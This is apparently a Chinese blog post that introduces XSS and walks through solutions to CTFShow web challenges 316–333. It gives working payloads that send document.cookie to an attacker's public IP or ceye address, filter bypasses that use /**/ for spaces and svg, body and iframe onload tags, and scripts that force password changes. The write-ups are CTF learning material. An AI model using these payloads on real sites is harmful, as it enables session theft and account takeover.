XSS基础
XSS基础总结
虽然理解的还不是很透彻,但还是写一点吧
一、HTML前置基础
下面是有关XSS漏洞的HTML基础,部分内容直接给出链接。
1.0 HTML简介
1.1 HTML页面构成
1.HTML标签
HTML 标记标签通常被称为 HTML 标签 (HTML tag)。
HTML 标签是由尖括号包围的关键词,比如 <html>
HTML 标签通常是成对出现的,比如 <b> 和 </b>
标签对中的第一个标签是开始标签,第二个标签是结束标签
开始和结束标签也被称为开放标签和闭合标签
2.HTML元素
“HTML 标签” 和 “HTML 元素” 通常都是描述同样的意思.
但是严格来讲, 一个 HTML 元素包含了开始标签与结束标签,如下实例:
HTML 元素:
<p>这是一个段落。</p>
HTML 元素可以设置属性
属性可以在元素中添加附加信息
属性一般描述于开始标签
属性总是以名称/值对的形式出现,比如:name=”value”。
属性实例
HTML 链接由 <a> 标签定义。链接的地址在 href 属性中指定:
实例
<a href=”这是一个链接\">http://www.runoob.com">这是一个链接\
1.2 常用的一些HTML元素
1.链接
最常见的就是一个简单的链接
<a href=”url”>链接文本</a>
相关资料
2.表单
表单完成用户输入的内容向服务器端的传递
典型的例子:
1 | <form name="input" action="html_form_action.php" method="get"> |
表示用户点击Submit按钮后将user参数通过get方式发送到服务器端的html_form_action.php
相关资料
3.框架、表格、列表、图像、列表、背景
有兴趣就点我去看看
二、JavaScript前置基础
2.0 JavaScript简介
2.1 JavaScript语法基础
简要了解即可。
参考链接
2.2 DOM
DOM,即当网页被加载时,浏览器创建页面的文档对象模型(Document Object Model)。
将其理解为当前的HTML文件即可,它有一大堆的方法和属性,暂时都不用管。
2.3 window对象
1.open方法
JavaScript中的window.open()方法用于打开一个新的浏览器窗口或标签页,并加载指定的URL或文件。
window.open()方法接受一些参数来指定新窗口的属性,包括URL、窗口名称、窗口尺寸、窗口位置等。常用的参数如下:
URL:要在新窗口中加载的网页地址。可以是绝对URL或相对URL。
窗口名称:指定新窗口的名称,如果指定相同名称的窗口已存在,则在该窗口中加载URL。如果名称为空或未指定,则会打开一个新的匿名窗口。
窗口尺寸:可以通过指定宽度和高度的参数来控制新窗口的大小。例如,window.open(‘http://example.com ‘, ‘_blank’, ‘width=500,height=400’)。
窗口位置:可以通过指定左边距和上边距的参数来控制新窗口的位置。例如,window.open(‘http://example.com ‘, ‘_blank’, ‘left=100,top=100’)。
window.open()方法返回一个代表新打开窗口的Window对象,您可以使用该对象引用对新窗口进行操作,例如在新窗口中加载页面、修改新窗口的属性、向新窗口发送数据等。
2.location对象
window.location 对象用于获得当前页面的地址 (URL),若指定window.location.href可以将浏览器重定向到新的页面。暂时了解这么多即可。
3.alert方法
alert方法用于从浏览器的当前页面弹出一个窗口,请参考
三、XSS漏洞原理
四、Payloads for XSS
下面是针对XSS一些常用的payload:
1 | <script>window.open('http://你的公网ip:端口号/'+document.cookie)</script> |
过滤空格可以用/* */代替
五、About ajax
AJAX = 异步 JavaScript 和 XML。
AJAX 是一种用于创建快速动态网页的技术。
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
传统的网页(不使用 AJAX)如果需要更新内容,必需重载整个网页面。

六、CTFShow题解
Web316
先vpn开nc监听,然后直接
1 | <script>window.open('http://你的公网ip:端口号/'+document.cookie)</script> |
就能收到flag
Web317
过滤了script
payload:
1 | <body onload="window.open('http://你的ceye地址/'+document.cookie)"></body> |
Web318
payload:
1 | <svg onload="window.open('http://你的公网ip:端口号/'+document.cookie)"> |
Web319
1 | <iframe onload="window.open('http://你的公网ip:端口号/'+document.cookie)"></iframe> |
Web320
过滤了空格,用/**/代替就行
1 | <body/**/onload="window.open('http://你的ceye地址/'+document.cookie)"></body> |
Web321
payload:<svg/**/onload="window.open('http://你的公网ip:端口号/'+document.cookie)">
Web322
上一题的payload照样能打
Web323
上上题的payload照样能打
Web324
上上上题的payload照样能打
Web325
上上上上题的payload照样能打
Web326
上上上上上题的payload照样能打
一把梭了
Web327
开始储存型XSS 一把梭不了了(悲)
不对 上上上上上上题的payload照样能打
Web328
题目形式多样啊
但是还是直接盗取管理员cookie,注册一个账号,账号名是上面的XSS payload,然后登录即可。在查看所有账号信息事会加载这条账号,从而恶意执行js代码完成XSS。
需要注意的是使用cookie伪造身份需要在chrome浏览器的application界面改变,只在hackbar里边改动是不会生效的。
Web329
跟上面的题目一样
Web330
直接修改密码(有点像SSRF?)
payload:
1 | <script>document.location.href="http://127.0.0.1/api/change.php?p=3"</script> |
改完直接admin:3登录就行
Web331
感觉332好好玩 先去玩332
好像要学一个叫ajax的东西 学不了一点 打游戏去了 明天再学
href默认的传输方式是GET,这里的意思就是需要使用POST方式完成修改密码的XSS。
payload:
1 | <script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script> |
这里只需要知道$.ajax()是一个函数即可。
Web332
感觉更像是教你怎么用brupsuite的题目…..
给自己转账只会给自己加钱,不扣钱
直接BrupSuite抓包重放就行
Web333
这题好像也得ajax 明天再学
最后一道!!
注册用户名为<script>1</script>就可以转账了。
和上一道题目一样,给自己疯狂转账就行。
XSS告一段落啦,还是去看看js比较好,实在是太菜了
- 标题: XSS基础
- 作者: yansui
- 创建于: 2023-06-30 20:17:03
- 更新于: 2023-07-01 16:40:25
- 链接: http://yansui.xyz/2023/06/30/XSS总结/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。